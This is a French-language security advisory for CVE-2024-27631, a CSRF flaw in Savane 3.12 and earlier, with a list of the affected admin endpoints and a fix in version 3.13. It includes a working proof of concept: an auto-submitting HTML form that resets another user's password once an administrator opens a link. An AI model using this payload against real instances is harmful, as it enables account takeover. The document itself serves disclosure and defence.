Détails de la vulnérabilité CVE-2024-27631

Vue d'ensemble

Dans Savane v3.12 et versions antérieures, l'absence de protection CSRF sur les fonctions administratives peut permettre une escalade de privilèges et/ou une prise de contrôle de compte. En particulier, le point d'accès /siteadmin/usergroup.php inclut la fonctionnalité permettant de modifier les mots de passe et les indicateurs administratifs d'autres utilisateurs, permettant ainsi à un attaquant de se nommer administrateur.

Les autres points d'accès notables vulnérables à CSRF incluent :

• /support/admin/userperms.php - Modifie les permissions des personnes pouvant publier sur un tracker.
• /project/admin/conf-copy.php - Écrase la configuration existante d'un groupe par une copie d'un autre groupe.
• /project/admin/editgroupnotifications.php - Modifie les notifications de groupe. Des éléments privés peuvent être envoyés à des listes de diffusion publiques.
• /project/admin/useradmin.php - Supprime des utilisateurs d'un groupe.
• /news/admin/index.php - Modifie l'adresse e-mail du tracker d'actualités.
• /people/editjob.php - Ajoute un emploi pour un groupe.

Classification CWE : CWE-352 : Contrefaçon de requête intersite (CSRF)

Signalé par : Ally Petitt

Produit concerné : Savane

Versions concernées : 3.12 et versions antérieures

Étapes de validation

Ceci est une preuve de concept (PoC) pour changer le mot de passe d'un autre compte utilisateur comme voie de prise de contrôle de compte.

1. Sélectionnez un utilisateur victime dont le mot de passe sera changé.
2. Notez son ID utilisateur depuis sa page de profil (/users/<username>).
3. Créez la page web malveillante suivante, en remplaçant user_id par l'ID utilisateur de la victime et <savane_instance> par le nom de domaine/adresse hôte approprié.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. Hébergez la page HTML malveillante sur un serveur web et envoyez le lien à un administrateur (il doit être en mode superutilisateur pour que cela fonctionne).
5. Après qu'il a cliqué sur le lien, connectez-vous au compte victime avec le mot de passe très sécurisé Password1!.

Notez que ce script PoC a été testé sur Firefox v103.0 (64-bit).

Atténuation

Mettez à niveau vers Savane version 3.13 ou ultérieure. Le correctif se trouve ici.